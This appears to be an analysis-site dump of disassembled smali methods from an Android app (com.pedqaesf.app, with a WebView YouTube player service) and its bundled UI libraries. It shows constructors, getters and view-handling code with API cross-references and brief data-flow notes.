13invoke-virtual {p0, p1, v0}, Lcom/mikepenz/a/b;->a(Landroid/os/Bundle;Ljava/lang/String;)Lcom/mikepenz/a/b;
14move-result-object v0
15return-object v0
Cross References
APIs
  • android.util.SparseArray.indexOfKey
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/util/SparseArray",
4"<*>;I)I"
5}
6.end annotation
7.prologue
9invoke-virtual {p0, p1}, Landroid/util/SparseArray;->indexOfKey(I)I
10move-result v0
11if-gez v0, :cond_a
12xor-int/lit8 v0, v0, -0x1
13add-int/lit8 v0, v0, -0x1
14cond_a: return v0
APIs
  • android.support.design.widget.CoordinatorLayout$Behavior.a
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/support/design/widget/CoordinatorLayout;",
4"TV;",
5"Landroid/support/v4/view/bf;",
6")",
7"Landroid/support/v4/view/bf;"
8}
9.end annotation
10.prologue
12invoke-super {p0, p1, p2, p3}, Landroid/support/design/widget/CoordinatorLayout$Behavior;->a(Landroid/support/design/widget/CoordinatorLayout;Landroid/view/View;Landroid/support/v4/view/bf;)Landroid/support/v4/view/bf;
13move-result-object v0
14return-object v0
APIs
  • android.support.v4.widget.SwipeRefreshLayout.b
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/views/INSCustomSwipeRefresh;->m:Lcom/pedqaesf/app/views/INSCustomSwipeRefresh$a;
3if-eqz v0, :cond_b
5iget-object v0, p0, Lcom/pedqaesf/app/views/INSCustomSwipeRefresh;->m:Lcom/pedqaesf/app/views/INSCustomSwipeRefresh$a;
7invoke-interface {v0}, Lcom/pedqaesf/app/views/INSCustomSwipeRefresh$a;->a()Z
8move-result v0
9goto_a: return v0
10cond_b:
11invoke-super {p0}, Landroid/support/v4/widget/SwipeRefreshLayout;->b()Z
12move-result v0
13goto/16 :goto_a
Cross References
APIs
  • com.pedqaesf.app.volley.NCAppController.getApplicationContext
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/volley/NCAppController;->b:Lcom/android/volley/i;
3if-nez v0, :cond_e
5invoke-virtual {p0}, Lcom/pedqaesf/app/volley/NCAppController;->getApplicationContext()Landroid/content/Context;
6move-result-object v0
8invoke-static {v0}, Lcom/android/volley/toolbox/m;->a(Landroid/content/Context;)Lcom/android/volley/i;
9move-result-object v0
10iput-object v0, p0, Lcom/pedqaesf/app/volley/NCAppController;->b:Lcom/android/volley/i;
11cond_e:
12iget-object v0, p0, Lcom/pedqaesf/app/volley/NCAppController;->b:Lcom/android/volley/i;
13return-object v0
APIs
  • android.support.design.widget.CoordinatorLayout$Behavior.a
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/support/design/widget/CoordinatorLayout;",
4"TV;",
5"Landroid/view/View;",
6"FF)Z"
7}
8.end annotation
9.prologue
11invoke-super/range {p0 .. p5}, Landroid/support/design/widget/CoordinatorLayout$Behavior;->a(Landroid/support/design/widget/CoordinatorLayout;Landroid/view/View;Landroid/view/View;FF)Z
12move-result v0
13return v0
APIs
  • android.support.design.widget.CoordinatorLayout$Behavior.b
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/support/design/widget/CoordinatorLayout;",
4"TV;",
5"Landroid/view/View;",
6"Landroid/view/View;",
7"I)V"
8}
9.end annotation
10.prologue
12invoke-super/range {p0 .. p5}, Landroid/support/design/widget/CoordinatorLayout$Behavior;->b(Landroid/support/design/widget/CoordinatorLayout;Landroid/view/View;Landroid/view/View;Landroid/view/View;I)V
13return-void
APIs
  • android.webkit.WebView.getScrollY
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$6;->a:Lcom/pedqaesf/app/INSMainActivity;
4iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
6invoke-virtual {v0}, Landroid/webkit/WebView;->getScrollY()I
7move-result v0
8if-lez v0, :cond_c
9const/4 v0, 0x1
10goto_b: return v0
11cond_c: const/4 v0, 0x0
12goto/16 :goto_b
Strings
  • large
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x0
2sput v1, Lcom/pedqaesf/app/b;->a:I
3sput v1, Lcom/pedqaesf/app/b;->b:I
4sput v1, Lcom/pedqaesf/app/b;->c:I
5sput v1, Lcom/pedqaesf/app/b;->d:I
6const/4 v0, 0x3
7sput v0, Lcom/pedqaesf/app/b;->e:I
8sput-boolean v1, Lcom/pedqaesf/app/b;->f:Z
10const-string v0, "large"
11sput-object v0, Lcom/pedqaesf/app/b;->g:Ljava/lang/String;
12return-void
Cross References
APIs
  • android.util.SparseArray.get
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(I)TItem;"
3}
4.end annotation
5.prologue
7iget-object v0, p0, Lcom/mikepenz/a/b;->b:Landroid/util/SparseArray;
9invoke-virtual {v0, p1}, Landroid/util/SparseArray;->get(I)Ljava/lang/Object;
10move-result-object v0
11check-cast v0, Lcom/mikepenz/a/g;
12return-object v0
APIs
  • java.util.List.get
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(I)TItem;"
3}
4.end annotation
5.prologue
7iget-object v0, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
9invoke-interface {v0, p1}, Ljava/util/List;->get(I)Ljava/lang/Object;
10move-result-object v0
11check-cast v0, Lcom/mikepenz/a/g;
12return-object v0
Cross References
APIs
  • android.support.v4.content.a.c
Position Instruction Meta Information
0.prologue
1iget v0, p0, Lcom/mikepenz/materialize/b/a;->a:I
2if-nez v0, :cond_11
3iget v0, p0, Lcom/mikepenz/materialize/b/a;->b:I
4const/4 v1, -0x1
5if-eq v0, v1, :cond_11
6iget v0, p0, Lcom/mikepenz/materialize/b/a;->b:I
8invoke-static {p1, v0}, Landroid/support/v4/content/a;->c(Landroid/content/Context;I)I
9move-result v0
10iput v0, p0, Lcom/mikepenz/materialize/b/a;->a:I
11cond_11: iget v0, p0, Lcom/mikepenz/materialize/b/a;->a:I
12return v0
APIs
  • android.widget.TextView.setVisibility
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
2if-eqz p0, :cond_a
3if-eqz p1, :cond_a
5invoke-virtual {p0, p1}, Lcom/mikepenz/materialize/b/d;->b(Landroid/widget/TextView;)Z
6move-result v0
7goto_9: return v0
8cond_a: if-eqz p1, :cond_9
9const/16 v1, 0x8
11invoke-virtual {p1, v1}, Landroid/widget/TextView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
12goto/16 :goto_9
Cross References
APIs
  • devlight.io.library.behavior.a.<init>
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x0
3invoke-direct {p0}, Ldevlight/io/library/behavior/a;-><init>()V
4const/4 v0, -0x1
5iput v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->f:I
6iput v1, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->g:F
7iput v1, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->h:F
8iput v1, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->i:F
9const/4 v0, 0x1
10iput-boolean v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->l:Z
11iput-boolean p1, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->l:Z
12return-void
APIs
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
Position Instruction Meta Information
0.prologue
1move-object v2, p2
2check-cast v2, Ldevlight/io/library/ntb/NavigationTabBar;
3move-object v0, p0
4move-object v1, p1
5move-object v3, p3
6move v4, p4
7move v5, p5
8move v6, p6
9move v7, p7
11invoke-virtual/range {v0 .. v7}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Landroid/support/design/widget/CoordinatorLayout;Ldevlight/io/library/ntb/NavigationTabBar;Landroid/view/View;IIII)V
12return-void
APIs
  • android.support.design.widget.CoordinatorLayout$Behavior.a
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/support/design/widget/CoordinatorLayout;",
4"TV;",
5"Landroid/view/View;",
6")V"
7}
8.end annotation
9.prologue
11invoke-super {p0, p1, p2, p3}, Landroid/support/design/widget/CoordinatorLayout$Behavior;->a(Landroid/support/design/widget/CoordinatorLayout;Landroid/view/View;Landroid/view/View;)V
12return-void
APIs
  • android.support.design.widget.CoordinatorLayout$Behavior.b
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/support/design/widget/CoordinatorLayout;",
4"TV;)",
5"Landroid/os/Parcelable;"
6}
7.end annotation
8.prologue
10invoke-super {p0, p1, p2}, Landroid/support/design/widget/CoordinatorLayout$Behavior;->b(Landroid/support/design/widget/CoordinatorLayout;Landroid/view/View;)Landroid/os/Parcelable;
11move-result-object v0
12return-object v0
APIs
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
Position Instruction Meta Information
0.prologue
1move-object v2, p2
2check-cast v2, Ldevlight/io/library/ntb/NavigationTabBar;
3move-object v0, p0
4move-object v1, p1
5move-object v3, p3
6move-object v4, p4
7move v5, p5
9invoke-virtual/range {v0 .. v5}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Landroid/support/design/widget/CoordinatorLayout;Ldevlight/io/library/ntb/NavigationTabBar;Landroid/view/View;Landroid/view/View;I)Z
10move-result v0
11return v0
Cross References
APIs
  • android.webkit.WebView.loadDataWithBaseURL
Position Instruction Meta Information
0.prologue
2sget-object v0, Lcom/pedqaesf/app/player/c;->a:Landroid/webkit/WebView;
3move-object v1, p1
4move-object v2, p2
5move-object v3, p3
6move-object v4, p4
7move-object v5, p5
9invoke-virtual/range {v0 .. v5}, Landroid/webkit/WebView;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
10return-void
Cross References
APIs
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(TItem;)V"
3}
4.end annotation
5.prologue
7iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
9invoke-virtual {v0, p1}, Lcom/mikepenz/a/b;->a(Lcom/mikepenz/a/g;)V
10return-void
APIs
  • android.view.View.getTag
Position Instruction Meta Information
0.prologue
2iget-object v0, p1, Landroid/support/v7/widget/RecyclerView$u;->a:Landroid/view/View;
4invoke-virtual {v0}, Landroid/view/View;->getTag()Ljava/lang/Object;
5move-result-object v0
6check-cast v0, Lcom/mikepenz/a/g;
7if-eqz v0, :cond_d
9invoke-interface {v0, p1}, Lcom/mikepenz/a/g;->c(Landroid/support/v7/widget/RecyclerView$u;)V
10cond_d: return-void
APIs
  • android.graphics.drawable.GradientDrawable.setColor
Position Instruction Meta Information
0.prologue
1if-eqz p0, :cond_8
2if-eqz p2, :cond_8
4invoke-virtual {p0, p1, p2}, Lcom/mikepenz/materialize/b/a;->a(Landroid/content/Context;Landroid/graphics/drawable/GradientDrawable;)V
5goto_7: return-void
6cond_8: if-eqz p2, :cond_7
7const/4 v0, 0x0
9invoke-virtual {p2, v0}, Landroid/graphics/drawable/GradientDrawable;->setColor(I)V
  • Data flow analysis:
    • argb: 0
10goto/16 :goto_7
Cross References
APIs
  • devlight.io.library.behavior.a.a
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x2
2if-eq p5, v0, :cond_9
4invoke-super/range {p0 .. p5}, Ldevlight/io/library/behavior/a;->a(Landroid/support/design/widget/CoordinatorLayout;Landroid/view/View;Landroid/view/View;Landroid/view/View;I)Z
5move-result v0
6if-eqz v0, :cond_b
7cond_9: const/4 v0, 0x1
8goto_a: return v0
9cond_b: const/4 v0, 0x0
10goto/16 :goto_a
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
3invoke-direct {p0}, Landroid/app/Service;-><init>()V
4iput v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->W:I
5iput-boolean v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Y:Z
6iput-boolean v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Z:Z
7const/4 v0, 0x1
8iput-boolean v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ak:Z
9return-void
APIs
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
2invoke-interface {p1}, Lcom/mikepenz/a/c;->b()Lcom/mikepenz/a/b;
3move-result-object v0
4iput-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
6iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
8invoke-virtual {v0, p0}, Lcom/mikepenz/a/b;->a(Lcom/mikepenz/a/a;)V
9return-object p0
APIs
  • com.mikepenz.a.b.d
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/b$e;->a:Lcom/mikepenz/a/b;
4invoke-virtual {v0, p2}, Lcom/mikepenz/a/b;->d(I)Lcom/mikepenz/a/g;
5move-result-object v0
7invoke-interface {v0, p1}, Lcom/mikepenz/a/g;->a(Landroid/view/ViewGroup;)Landroid/support/v7/widget/RecyclerView$u;
8move-result-object v0
9return-object v0
Cross References
APIs
  • java.lang.Enum.<init>
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(C)V"
3}
4.end annotation
5.prologue
7invoke-direct {p0, p1, p2}, Ljava/lang/Enum;-><init>(Ljava/lang/String;I)V
8iput-char p3, p0, Lcom/mikepenz/materialdrawer/b/a$a;->f:C
9return-void
APIs
  • android.widget.TextView.setTextColor
Position Instruction Meta Information
0.prologue
1if-eqz p0, :cond_8
2if-eqz p1, :cond_8
4invoke-virtual {p0, p1, p2}, Lcom/mikepenz/materialize/b/a;->a(Landroid/widget/TextView;Landroid/content/res/ColorStateList;)V
5goto_7: return-void
6cond_8: if-eqz p1, :cond_7
8invoke-virtual {p1, p2}, Landroid/widget/TextView;->setTextColor(Landroid/content/res/ColorStateList;)V
9goto/16 :goto_7
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4iput-object v0, p0, Lcom/mikepenz/a/b$h;->a:Lcom/mikepenz/a/c;
5iput-object v0, p0, Lcom/mikepenz/a/b$h;->b:Lcom/mikepenz/a/g;
6const/4 v0, -0x1
7iput v0, p0, Lcom/mikepenz/a/b$h;->c:I
8return-void
Cross References
APIs
  • android.support.design.widget.CoordinatorLayout$Behavior.<init>
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
3invoke-direct {p0}, Landroid/support/design/widget/CoordinatorLayout$Behavior;-><init>()V
4iput v0, p0, Ldevlight/io/library/behavior/a;->a:I
5iput v0, p0, Ldevlight/io/library/behavior/a;->b:I
6iput v0, p0, Ldevlight/io/library/behavior/a;->c:I
7iput v0, p0, Ldevlight/io/library/behavior/a;->d:I
8return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3const-wide/16 v0, 0x0
4iput-wide v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->a:J
5const/4 v0, 0x1
6iput v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->f:I
7return-void
APIs
  • android.app.Activity.recreate
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$8;->a:Lcom/pedqaesf/app/INSMainActivity;
4iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->m:Landroid/app/Activity;
6invoke-virtual {v0}, Landroid/app/Activity;->recreate()V
7return-void
APIs
  • com.pedqaesf.app.views.INSCircularImageView.b
Position Instruction Meta Information
0.prologue
1iget-boolean v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->u:Z
2if-ne p1, v0, :cond_5
3goto_4: return-void
4cond_5: iput-boolean p1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->u:Z
6invoke-direct {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->b()V
7goto/16 :goto_4
APIs
  • com.pedqaesf.app.views.INSCircularImageView.b
Position Instruction Meta Information
0.prologue
1iget v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->j:I
2if-ne p1, v0, :cond_5
3goto_4: return-void
4cond_5: iput p1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->j:I
6invoke-direct {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->b()V
7goto/16 :goto_4
Cross References
APIs
  • com.mikepenz.a.b.e
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
3move-result-object v0
5invoke-interface {v0}, Lcom/mikepenz/a/g;->d()J
6move-result-wide v0
7return-wide v0
Cross References
APIs
  • com.mikepenz.a.b.e
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
3move-result-object v0
5invoke-interface {v0}, Lcom/mikepenz/a/g;->h()I
6move-result v0
7return v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1const/high16 v0, -0x80000000
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4iput v0, p0, Lcom/mikepenz/materialize/b/b;->a:I
5iput v0, p0, Lcom/mikepenz/materialize/b/b;->b:I
6iput v0, p0, Lcom/mikepenz/materialize/b/b;->c:I
7return-void
Cross References
APIs
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x1
2iget-boolean v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->j:Z
3if-nez v0, :cond_a
4iput-boolean v1, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->j:Z
6invoke-direct {p0, p1, p2, v1, p3}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/ntb/NavigationTabBar;IZZ)V
  • Data flow analysis:
    • p2: 1
7cond_a: return-void
APIs
  • java.lang.Class.getSimpleName
Position Instruction Meta Information
0.prologue
1const-class v0, Lcom/pedqaesf/app/volley/NCAppController;
3invoke-virtual {v0}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
4move-result-object v0
5sput-object v0, Lcom/pedqaesf/app/volley/NCAppController;->a:Ljava/lang/String;
6return-void
APIs
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
4invoke-virtual {v0}, Lcom/mikepenz/a/b;->a()I
5move-result v0
6return v0
APIs
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
4invoke-virtual {v0, p1}, Lcom/mikepenz/a/b;->a(I)J
5move-result-wide v0
6return-wide v0
APIs
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
3iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
5invoke-virtual {v0, p0}, Lcom/mikepenz/a/b;->a(Lcom/mikepenz/a/a;)V
6return-object p0
APIs
  • com.mikepenz.a.b.b
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
4invoke-virtual {v0, p1}, Lcom/mikepenz/a/b;->b(I)I
5move-result v0
6return v0
APIs
  • com.mikepenz.a.b.b
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
4invoke-virtual {v0, p1, p2}, Lcom/mikepenz/a/b;->b(Landroid/view/ViewGroup;I)Landroid/support/v7/widget/RecyclerView$u;
5move-result-object v0
6return-object v0
APIs
  • com.mikepenz.a.b.b
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
4invoke-virtual {v0, p1}, Lcom/mikepenz/a/b;->b(Landroid/support/v7/widget/RecyclerView$u;)Z
5move-result v0
6return v0
Cross References
APIs
  • com.mikepenz.a.b.b
Position Instruction Meta Information
0.prologue
2const-string v0, ""
4invoke-virtual {p0, p1, v0}, Lcom/mikepenz/a/b;->b(Landroid/os/Bundle;Ljava/lang/String;)Landroid/os/Bundle;
5move-result-object v0
6return-object v0
APIs
  • com.mikepenz.a.a.c.b
Position Instruction Meta Information
0.annotation runtime Ljava/lang/SafeVarargs;
1.end annotation
2.prologue
4invoke-virtual {p0, p1}, Lcom/mikepenz/a/a/c;->b([Lcom/mikepenz/a/g;)Lcom/mikepenz/a/a/c;
5move-result-object v0
6return-object v0
APIs
  • java.util.List.size
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
4invoke-interface {v0}, Ljava/util/List;->size()I
5move-result v0
6return v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/mikepenz/a/b/a$1;->c:Lcom/mikepenz/a/b/a;
2iput-object p2, p0, Lcom/mikepenz/a/b/a$1;->a:Landroid/support/v7/widget/RecyclerView$u;
3iput-object p3, p0, Lcom/mikepenz/a/b/a$1;->b:Lcom/mikepenz/a/c/c;
5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
6return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/mikepenz/a/b/a$2;->c:Lcom/mikepenz/a/b/a;
2iput-object p2, p0, Lcom/mikepenz/a/b/a$2;->a:Landroid/support/v7/widget/RecyclerView$u;
3iput-object p3, p0, Lcom/mikepenz/a/b/a$2;->b:Lcom/mikepenz/a/c/c;
5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
6return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/mikepenz/a/b/a$3;->c:Lcom/mikepenz/a/b/a;
2iput-object p2, p0, Lcom/mikepenz/a/b/a$3;->a:Landroid/support/v7/widget/RecyclerView$u;
3iput-object p3, p0, Lcom/mikepenz/a/b/a$3;->b:Lcom/mikepenz/a/c/c;
5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
6return-void
Cross References
APIs
  • java.lang.Enum.valueOf
Position Instruction Meta Information
0.prologue
1const-class v0, Lcom/mikepenz/materialdrawer/b/a$a;
3invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
4move-result-object v0
5check-cast v0, Lcom/mikepenz/materialdrawer/b/a$a;
6return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3const/4 v0, -0x1
4iput v0, p0, Lcom/mikepenz/materialize/b/c;->d:I
5iput-object p1, p0, Lcom/mikepenz/materialize/b/c;->c:Landroid/graphics/Bitmap;
6return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3const/4 v0, -0x1
4iput v0, p0, Lcom/mikepenz/materialize/b/d;->b:I
5iput-object p1, p0, Lcom/mikepenz/materialize/b/d;->a:Ljava/lang/String;
6return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3const/4 v0, 0x1
4iput v0, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->d:I
5return-void
APIs
  • com.pedqaesf.app.AsyncTask.Vpxbjlowiwzg.a
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg$1;->a:Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg;
4invoke-virtual {v0}, Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg;->a()V
5return-void
APIs
  • android.app.Service.onDestroy
Position Instruction Meta Information
0.prologue
1const-wide/32 v0, 0x989680
2iput-wide v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->a:J
4invoke-super {p0}, Landroid/app/Service;->onDestroy()V
5return-void
APIs
  • com.pedqaesf.app.AsyncTask.a.a
Position Instruction Meta Information
0.prologue
1check-cast p1, [Ljava/lang/Void;
3invoke-virtual {p0, p1}, Lcom/pedqaesf/app/AsyncTask/a;->a([Ljava/lang/Void;)Landroid/graphics/Bitmap;
4move-result-object v0
5return-object v0
APIs
  • com.pedqaesf.app.AsyncTask.b.a
Position Instruction Meta Information
0.prologue
1check-cast p1, [Ljava/lang/String;
3invoke-virtual {p0, p1}, Lcom/pedqaesf/app/AsyncTask/b;->a([Ljava/lang/String;)Ljava/lang/String;
4move-result-object v0
5return-object v0
APIs
  • com.pedqaesf.app.INSMainActivity.finish
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$10;->a:Lcom/pedqaesf/app/INSMainActivity;
4invoke-virtual {v0}, Lcom/pedqaesf/app/INSMainActivity;->finish()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$3$1$1;->b:Lcom/pedqaesf/app/INSMainActivity$3$1;
2iput-object p2, p0, Lcom/pedqaesf/app/INSMainActivity$3$1$1;->a:Landroid/widget/TextView;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$3$1$2;->b:Lcom/pedqaesf/app/INSMainActivity$3$1;
2iput-object p2, p0, Lcom/pedqaesf/app/INSMainActivity$3$1$2;->a:Landroid/widget/TextView;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSSettingsActivity$2;->b:Lcom/pedqaesf/app/INSSettingsActivity;
2iput-object p2, p0, Lcom/pedqaesf/app/INSSettingsActivity$2;->a:[I
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSSettingsActivity$3;->b:Lcom/pedqaesf/app/INSSettingsActivity;
2iput-object p2, p0, Lcom/pedqaesf/app/INSSettingsActivity$3;->a:[I
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/player/b$1;->b:Lcom/pedqaesf/app/player/b;
2iput p2, p0, Lcom/pedqaesf/app/player/b$1;->a:I
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/player/b$2;->b:Lcom/pedqaesf/app/player/b;
2iput-object p2, p0, Lcom/pedqaesf/app/player/b$2;->a:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
APIs
  • com.pedqaesf.app.player.INSYouTubePlayerService.a
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/player/b$2;->a:Ljava/lang/String;
4invoke-static {v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a(Ljava/lang/String;)V
5return-void
APIs
  • android.os.Handler.<init>
Position Instruction Meta Information
0.prologue
1new-instance v0, Landroid/os/Handler;
3invoke-direct {v0}, Landroid/os/Handler;-><init>()V
4sput-object v0, Lcom/pedqaesf/app/player/b;->b:Landroid/os/Handler;
5return-void
Cross References
APIs
  • android.webkit.WebView.loadUrl
Position Instruction Meta Information
0.prologue
2sget-object v0, Lcom/pedqaesf/app/player/c;->a:Landroid/webkit/WebView;
4invoke-virtual {v0, p0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
5return-void
Cross References
APIs
  • android.webkit.WebView.destroy
Position Instruction Meta Information
0.prologue
2sget-object v0, Lcom/pedqaesf/app/player/c;->a:Landroid/webkit/WebView;
4invoke-virtual {v0}, Landroid/webkit/WebView;->destroy()V
5return-void
APIs
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
4invoke-virtual {v0, p1}, Lcom/mikepenz/a/b;->a(Landroid/support/v7/widget/RecyclerView$u;)V
5return-void
APIs
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
4invoke-virtual {v0, p1, p2}, Lcom/mikepenz/a/b;->a(Landroid/support/v7/widget/RecyclerView$u;I)V
5return-void
APIs
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
4invoke-virtual {v0, p1, p2, p3}, Lcom/mikepenz/a/b;->a(Landroid/support/v7/widget/RecyclerView$u;ILjava/util/List;)V
